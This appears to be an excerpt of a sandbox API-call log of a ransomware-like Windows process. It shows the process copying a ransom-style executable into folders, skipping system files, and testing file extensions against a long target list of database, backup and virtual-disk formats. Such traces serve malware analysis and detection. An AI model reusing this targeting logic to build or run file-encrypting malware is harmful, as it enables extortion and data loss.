	[0077.533] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfef8) returned 1
	[0077.534] CryptGenRandom (in: hProv=0x5bfef8, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0077.534] CryptReleaseContext (hProv=0x5bfef8, dwFlags=0x0) returned 1
	[0077.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0077.534] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0077.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0077.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0077.534] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0077.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0077.534] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0077.535] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0077.535] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0077.535] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0077.535] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0077.535] CloseHandle (hObject=0x118) returned 1
	[0077.535] CloseHandle (hObject=0xc0) returned 1
	[0077.535] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0077.535] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfe70 | out: hHeap=0x580000) returned 1
	[0077.535] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0077.535] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80b17dc0, ftCreationTime.dwHighDateTime=0x1cb1486, ftLastAccessTime.dwLowDateTime=0x80b17dc0, ftLastAccessTime.dwHighDateTime=0x1cb1486, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VisiorWW.xml", cAlternateFileName="")) returned 0
	[0077.535] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0077.535] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7cb0
	[0077.535] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C"
	[0077.536] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfde8 | out: hHeap=0x580000) returned 1
	[0077.536] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0077.536] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C") returned 62
	[0077.536] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C"
	[0077.536] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.536] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.541] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.541] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x464a65b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x464a65b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.541] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.541] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.541] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.541] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa5cd3a40, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0x464a65b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x464a65b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.541] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.541] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.541] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.541] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.541] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x464a65b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x464a65b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0077.541] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0077.541] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87078450, ftCreationTime.dwHighDateTime=0x1cb147f, ftLastAccessTime.dwLowDateTime=0x87078450, ftLastAccessTime.dwHighDateTime=0x1cb147f, ftLastWriteTime.dwLowDateTime=0xa5d1e590, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1e6600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Office32WW.msi", cAlternateFileName="OFFICE~1.MSI")) returned 1
	[0077.541] lstrcmpiW (lpString1="Office32WW.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0077.541] lstrcmpiW (lpString1="Office32WW.msi", lpString2="Apollon865.txt.exe") returned 1
	[0077.541] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".") returned 1
	[0077.541] lstrcmpiW (lpString1="Office32WW.msi", lpString2="..") returned 1
	[0077.541] lstrcmpiW (lpString1="Office32WW.msi", lpString2="windows") returned -1
	[0077.541] lstrcmpiW (lpString1="Office32WW.msi", lpString2="bootmgr") returned 1
	[0077.541] lstrcmpiW (lpString1="Office32WW.msi", lpString2="temp") returned -1
	[0077.541] lstrcmpiW (lpString1="Office32WW.msi", lpString2="pagefile.sys") returned -1
	[0077.541] lstrcmpiW (lpString1="Office32WW.msi", lpString2="boot") returned 1
	[0077.541] lstrcmpiW (lpString1="Office32WW.msi", lpString2="ids.txt") returned 1
	[0077.541] lstrcmpiW (lpString1="Office32WW.msi", lpString2="ntuser.dat") returned 1
	[0077.542] lstrcmpiW (lpString1="Office32WW.msi", lpString2="perflogs") returned -1
	[0077.542] lstrcmpiW (lpString1="Office32WW.msi", lpString2="MSBuild") returned 1
	[0077.542] lstrlenW (lpString="Office32WW.msi") returned 14
	[0077.542] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\*") returned 64
	[0077.542] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Office32WW.msi" | out: lpString1="Office32WW.msi") returned="Office32WW.msi"
	[0077.542] lstrlenW (lpString="Office32WW.msi") returned 14
	[0077.542] lstrlenW (lpString="Apollon865") returned 10
	[0077.542] lstrcmpiW (lpString1="ce32WW.msi", lpString2="Apollon865") returned 1
	[0077.542] lstrlenW (lpString=".dll") returned 4
	[0077.542] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".dll") returned 1
	[0077.542] lstrlenW (lpString=".lnk") returned 4
	[0077.542] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".lnk") returned 1
	[0077.542] lstrlenW (lpString=".ini") returned 4
	[0077.542] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".ini") returned 1
	[0077.542] lstrlenW (lpString=".sys") returned 4
	[0077.542] lstrcmpiW (lpString1="Office32WW.msi", lpString2=".sys") returned 1
	[0077.542] lstrlenW (lpString="Office32WW.msi") returned 14
	[0077.542] lstrlenW (lpString="bak") returned 3
	[0077.542] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0077.542] lstrlenW (lpString="ba_") returned 3
	[0077.542] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0077.542] lstrlenW (lpString="dbb") returned 3
	[0077.542] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0077.542] lstrlenW (lpString="vmdk") returned 4
	[0077.542] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0077.542] lstrlenW (lpString="rar") returned 3
	[0077.542] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0077.542] lstrlenW (lpString="zip") returned 3
	[0077.542] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0077.542] lstrlenW (lpString="tgz") returned 3
	[0077.542] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0077.542] lstrlenW (lpString="vbox") returned 4
	[0077.542] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0077.542] lstrlenW (lpString="vdi") returned 3
	[0077.542] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0077.542] lstrlenW (lpString="vhd") returned 3
	[0077.543] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0077.543] lstrlenW (lpString="vhdx") returned 4
	[0077.543] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0077.543] lstrlenW (lpString="avhd") returned 4
	[0077.543] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0077.543] lstrlenW (lpString="db") returned 2
	[0077.543] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0077.543] lstrlenW (lpString="db2") returned 3
	[0077.543] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0077.543] lstrlenW (lpString="db3") returned 3
	[0077.543] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0077.543] lstrlenW (lpString="dbf") returned 3
	[0077.543] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0077.543] lstrlenW (lpString="mdf") returned 3
	[0077.543] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0077.543] lstrlenW (lpString="mdb") returned 3
	[0077.543] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0077.543] lstrlenW (lpString="sql") returned 3
	[0077.543] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0077.543] lstrlenW (lpString="sqlite") returned 6
	[0077.543] lstrcmpiW (lpString1="WW.msi", lpString2="sqlite") returned 1
	[0077.543] lstrlenW (lpString="sqlite3") returned 7
	[0077.543] lstrcmpiW (lpString1="2WW.msi", lpString2="sqlite3") returned -1
	[0077.543] lstrlenW (lpString="sqlitedb") returned 8
	[0077.543] lstrcmpiW (lpString1="32WW.msi", lpString2="sqlitedb") returned -1
	[0077.543] lstrlenW (lpString="xml") returned 3
	[0077.543] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0077.543] lstrlenW (lpString="$er") returned 3
	[0077.543] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0077.543] lstrlenW (lpString="4dd") returned 3
	[0077.543] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0077.543] lstrlenW (lpString="4dl") returned 3
	[0077.543] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0077.543] lstrlenW (lpString="^^^") returned 3
	[0077.543] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0077.543] lstrlenW (lpString="abs") returned 3
	[0077.543] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0077.544] lstrlenW (lpString="abx") returned 3
	[0077.544] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0077.544] lstrlenW (lpString="accdb") returned 5
	[0077.544] lstrcmpiW (lpString1="W.msi", lpString2="accdb") returned 1
	[0077.544] lstrlenW (lpString="accdc") returned 5
	[0077.544] lstrcmpiW (lpString1="W.msi", lpString2="accdc") returned 1
	[0077.544] lstrlenW (lpString="accde") returned 5
	[0077.544] lstrcmpiW (lpString1="W.msi", lpString2="accde") returned 1
	[0077.544] lstrlenW (lpString="accdr") returned 5
	[0077.544] lstrcmpiW (lpString1="W.msi", lpString2="accdr") returned 1
	[0077.544] lstrlenW (lpString="accdt") returned 5
	[0077.544] lstrcmpiW (lpString1="W.msi", lpString2="accdt") returned 1
	[0077.544] lstrlenW (lpString="accdw") returned 5
	[0077.544] lstrcmpiW (lpString1="W.msi", lpString2="accdw") returned 1
	[0077.544] lstrlenW (lpString="accft") returned 5
	[0077.544] lstrcmpiW (lpString1="W.msi", lpString2="accft") returned 1
	[0077.544] lstrlenW (lpString="adb") returned 3
	[0077.544] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0077.544] lstrlenW (lpString="adb") returned 3
	[0077.544] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0077.544] lstrlenW (lpString="ade") returned 3
	[0077.544] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0077.544] lstrlenW (lpString="adf") returned 3
	[0077.544] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0077.544] lstrlenW (lpString="adn") returned 3
	[0077.544] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0077.544] lstrlenW (lpString="adp") returned 3
	[0077.544] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0077.544] lstrlenW (lpString="alf") returned 3
	[0077.544] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0077.544] lstrlenW (lpString="ask") returned 3
	[0077.544] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0077.544] lstrlenW (lpString="btr") returned 3
	[0077.544] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0077.544] lstrlenW (lpString="cat") returned 3
	[0077.544] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0077.544] lstrlenW (lpString="cdb") returned 3
	[0077.544] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0077.545] lstrlenW (lpString="ckp") returned 3
	[0077.545] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0077.545] lstrlenW (lpString="cma") returned 3
	[0077.545] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0077.545] lstrlenW (lpString="cpd") returned 3
	[0077.545] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0077.545] lstrlenW (lpString="dacpac") returned 6
	[0077.545] lstrcmpiW (lpString1="WW.msi", lpString2="dacpac") returned 1
	[0077.545] lstrlenW (lpString="dad") returned 3
	[0077.545] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0077.545] lstrlenW (lpString="dadiagrams") returned 10
	[0077.545] lstrcmpiW (lpString1="ce32WW.msi", lpString2="dadiagrams") returned -1
	[0077.545] lstrlenW (lpString="daschema") returned 8
	[0077.545] lstrcmpiW (lpString1="32WW.msi", lpString2="daschema") returned -1
	[0077.545] lstrlenW (lpString="db-journal") returned 10
	[0077.545] lstrcmpiW (lpString1="ce32WW.msi", lpString2="db-journal") returned -1
	[0077.545] lstrlenW (lpString="db-shm") returned 6
	[0077.545] lstrcmpiW (lpString1="WW.msi", lpString2="db-shm") returned 1
	[0077.545] lstrlenW (lpString="db-wal") returned 6
	[0077.545] lstrcmpiW (lpString1="WW.msi", lpString2="db-wal") returned 1
	[0077.545] lstrlenW (lpString="dbc") returned 3
	[0077.545] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0077.545] lstrlenW (lpString="dbs") returned 3
	[0077.545] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0077.545] lstrlenW (lpString="dbt") returned 3
	[0077.545] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0077.545] lstrlenW (lpString="dbv") returned 3
	[0077.545] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0077.545] lstrlenW (lpString="dbx") returned 3
	[0077.545] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0077.545] lstrlenW (lpString="dcb") returned 3
	[0077.545] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0077.545] lstrlenW (lpString="dct") returned 3
	[0077.545] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0077.545] lstrlenW (lpString="dcx") returned 3
	[0077.545] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0077.545] lstrlenW (lpString="ddl") returned 3
	[0077.546] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0077.546] lstrlenW (lpString="dlis") returned 4
	[0077.546] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0077.546] lstrlenW (lpString="dp1") returned 3
	[0077.546] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0077.546] lstrlenW (lpString="dqy") returned 3
	[0077.546] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0077.546] lstrlenW (lpString="dsk") returned 3
	[0077.546] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0077.546] lstrlenW (lpString="dsn") returned 3
	[0077.546] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0077.546] lstrlenW (lpString="dtsx") returned 4
	[0077.546] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0077.546] lstrlenW (lpString="dxl") returned 3
	[0077.546] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0077.546] lstrlenW (lpString="eco") returned 3
	[0077.546] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0077.546] lstrlenW (lpString="ecx") returned 3
	[0077.546] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0077.546] lstrlenW (lpString="edb") returned 3
	[0077.546] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0077.546] lstrlenW (lpString="epim") returned 4
	[0077.546] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0077.546] lstrlenW (lpString="fcd") returned 3
	[0077.546] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0077.546] lstrlenW (lpString="fdb") returned 3
	[0077.546] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0077.546] lstrlenW (lpString="fic") returned 3
	[0077.546] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0077.546] lstrlenW (lpString="flexolibrary") returned 12
	[0077.546] lstrcmpiW (lpString1="fice32WW.msi", lpString2="flexolibrary") returned -1
	[0077.546] lstrlenW (lpString="fm5") returned 3
	[0077.546] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0077.546] lstrlenW (lpString="fmp") returned 3
	[0077.546] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0077.546] lstrlenW (lpString="fmp12") returned 5
	[0077.546] lstrcmpiW (lpString1="W.msi", lpString2="fmp12") returned 1
	[0077.547] lstrlenW (lpString="fmpsl") returned 5
	[0077.547] lstrcmpiW (lpString1="W.msi", lpString2="fmpsl") returned 1
	[0077.547] lstrlenW (lpString="fol") returned 3
	[0077.547] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0077.547] lstrlenW (lpString="fp3") returned 3
	[0077.547] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0077.547] lstrlenW (lpString="fp4") returned 3
	[0077.547] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0077.547] lstrlenW (lpString="fp5") returned 3
	[0077.547] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0077.547] lstrlenW (lpString="fp7") returned 3
	[0077.547] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0077.547] lstrlenW (lpString="fpt") returned 3
	[0077.547] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0077.547] lstrlenW (lpString="frm") returned 3
	[0077.547] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0077.547] lstrlenW (lpString="gdb") returned 3
	[0077.547] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0077.547] lstrlenW (lpString="gdb") returned 3
	[0077.547] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0077.547] lstrlenW (lpString="grdb") returned 4
	[0077.547] lstrcmpiW (lpString1=".msi", lpString2="grdb") returned -1
	[0077.547] lstrlenW (lpString="gwi") returned 3
	[0077.547] lstrcmpiW (lpString1="msi", lpString2="gwi") returned 1
	[0077.547] lstrlenW (lpString="hdb") returned 3
	[0077.547] lstrcmpiW (lpString1="msi", lpString2="hdb") returned 1
	[0077.547] lstrlenW (lpString="his") returned 3
	[0077.547] lstrcmpiW (lpString1="msi", lpString2="his") returned 1
	[0077.547] lstrlenW (lpString="ib") returned 2
	[0077.547] lstrcmpiW (lpString1="si", lpString2="ib") returned 1
	[0077.547] lstrlenW (lpString="idb") returned 3
	[0077.547] lstrcmpiW (lpString1="msi", lpString2="idb") returned 1
	[0077.547] lstrlenW (lpString="ihx") returned 3
	[0077.547] lstrcmpiW (lpString1="msi", lpString2="ihx") returned 1
	[0077.547] lstrlenW (lpString="itdb") returned 4
	[0077.547] lstrcmpiW (lpString1=".msi", lpString2="itdb") returned -1
	[0077.547] lstrlenW (lpString="itw") returned 3
	[0077.548] lstrcmpiW (lpString1="msi", lpString2="itw") returned 1
	[0077.548] lstrlenW (lpString="jet") returned 3
	[0077.548] lstrcmpiW (lpString1="msi", lpString2="jet") returned 1
	[0077.548] lstrlenW (lpString="jtx") returned 3
	[0077.548] lstrcmpiW (lpString1="msi", lpString2="jtx") returned 1
	[0077.548] lstrlenW (lpString="kdb") returned 3
	[0077.548] lstrcmpiW (lpString1="msi", lpString2="kdb") returned 1
	[0077.548] lstrlenW (lpString="kexi") returned 4
	[0077.548] lstrcmpiW (lpString1=".msi", lpString2="kexi") returned -1
	[0077.548] lstrlenW (lpString="kexic") returned 5
	[0077.548] lstrcmpiW (lpString1="W.msi", lpString2="kexic") returned 1
	[0077.548] lstrlenW (lpString="kexis") returned 5
	[0077.548] lstrcmpiW (lpString1="W.msi", lpString2="kexis") returned 1
	[0077.548] lstrlenW (lpString="lgc") returned 3
	[0077.548] lstrcmpiW (lpString1="msi", lpString2="lgc") returned 1
	[0077.548] lstrlenW (lpString="lwx") returned 3
	[0077.548] lstrcmpiW (lpString1="msi", lpString2="lwx") returned 1
	[0077.548] lstrlenW (lpString="maf") returned 3
	[0077.548] lstrcmpiW (lpString1="msi", lpString2="maf") returned 1
	[0077.548] lstrlenW (lpString="maq") returned 3
	[0077.548] lstrcmpiW (lpString1="msi", lpString2="maq") returned 1
	[0077.548] lstrlenW (lpString="mar") returned 3
	[0077.548] lstrcmpiW (lpString1="msi", lpString2="mar") returned 1
	[0077.548] lstrlenW (lpString="marshal") returned 7
	[0077.548] lstrcmpiW (lpString1="2WW.msi", lpString2="marshal") returned -1
	[0077.548] lstrlenW (lpString="mas") returned 3
	[0077.548] lstrcmpiW (lpString1="msi", lpString2="mas") returned 1
	[0077.548] lstrlenW (lpString="mav") returned 3
	[0077.548] lstrcmpiW (lpString1="msi", lpString2="mav") returned 1
	[0077.548] lstrlenW (lpString="maw") returned 3
	[0077.548] lstrcmpiW (lpString1="msi", lpString2="maw") returned 1
	[0077.548] lstrlenW (lpString="mdbhtml") returned 7
	[0077.548] lstrcmpiW (lpString1="2WW.msi", lpString2="mdbhtml") returned -1
	[0077.548] lstrlenW (lpString="mdn") returned 3
	[0077.549] lstrcmpiW (lpString1="msi", lpString2="mdn") returned 1
	[0077.549] lstrlenW (lpString="mdt") returned 3
	[0077.549] lstrcmpiW (lpString1="msi", lpString2="mdt") returned 1
	[0077.549] lstrlenW (lpString="mfd") returned 3
	[0077.549] lstrcmpiW (lpString1="msi", lpString2="mfd") returned 1
	[0077.549] lstrlenW (lpString="mpd") returned 3
	[0077.549] lstrcmpiW (lpString1="msi", lpString2="mpd") returned 1
	[0077.549] lstrlenW (lpString="mrg") returned 3
	[0077.549] lstrcmpiW (lpString1="msi", lpString2="mrg") returned 1
	[0077.549] lstrlenW (lpString="mud") returned 3
	[0077.549] lstrcmpiW (lpString1="msi", lpString2="mud") returned -1
	[0077.549] lstrlenW (lpString="mwb") returned 3
	[0077.549] lstrcmpiW (lpString1="msi", lpString2="mwb") returned -1
	[0077.549] lstrlenW (lpString="myd") returned 3
	[0077.549] lstrcmpiW (lpString1="msi", lpString2="myd") returned -1
	[0077.549] lstrlenW (lpString="ndf") returned 3
	[0077.549] lstrcmpiW (lpString1="msi", lpString2="ndf") returned -1
	[0077.549] lstrlenW (lpString="nnt") returned 3
	[0077.549] lstrcmpiW (lpString1="msi", lpString2="nnt") returned -1
	[0077.549] lstrlenW (lpString="nrmlib") returned 6
	[0077.549] lstrcmpiW (lpString1="WW.msi", lpString2="nrmlib") returned 1
	[0077.549] lstrlenW (lpString="ns2") returned 3
	[0077.549] lstrcmpiW (lpString1="msi", lpString2="ns2") returned -1
	[0077.549] lstrlenW (lpString="ns3") returned 3
	[0077.549] lstrcmpiW (lpString1="msi", lpString2="ns3") returned -1
	[0077.549] lstrlenW (lpString="ns4") returned 3
	[0077.549] lstrcmpiW (lpString1="msi", lpString2="ns4") returned -1
	[0077.549] lstrlenW (lpString="nsf") returned 3
	[0077.549] lstrcmpiW (lpString1="msi", lpString2="nsf") returned -1
	[0077.549] lstrlenW (lpString="nv") returned 2
	[0077.549] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0077.549] lstrlenW (lpString="nv2") returned 3
	[0077.549] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0077.549] lstrlenW (lpString="nwdb") returned 4
	[0077.549] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0077.549] lstrlenW (lpString="nyf") returned 3
	[0077.549] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0077.550] lstrlenW (lpString="odb") returned 3
	[0077.550] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0077.550] lstrlenW (lpString="odb") returned 3
	[0077.550] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0077.550] lstrlenW (lpString="oqy") returned 3
	[0077.550] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0077.550] lstrlenW (lpString="ora") returned 3
	[0077.550] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0077.550] lstrlenW (lpString="orx") returned 3
	[0077.550] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0077.550] lstrlenW (lpString="owc") returned 3
	[0077.550] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0077.550] lstrlenW (lpString="p96") returned 3
	[0077.550] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0077.550] lstrlenW (lpString="p97") returned 3
	[0077.550] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0077.550] lstrlenW (lpString="pan") returned 3
	[0077.550] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
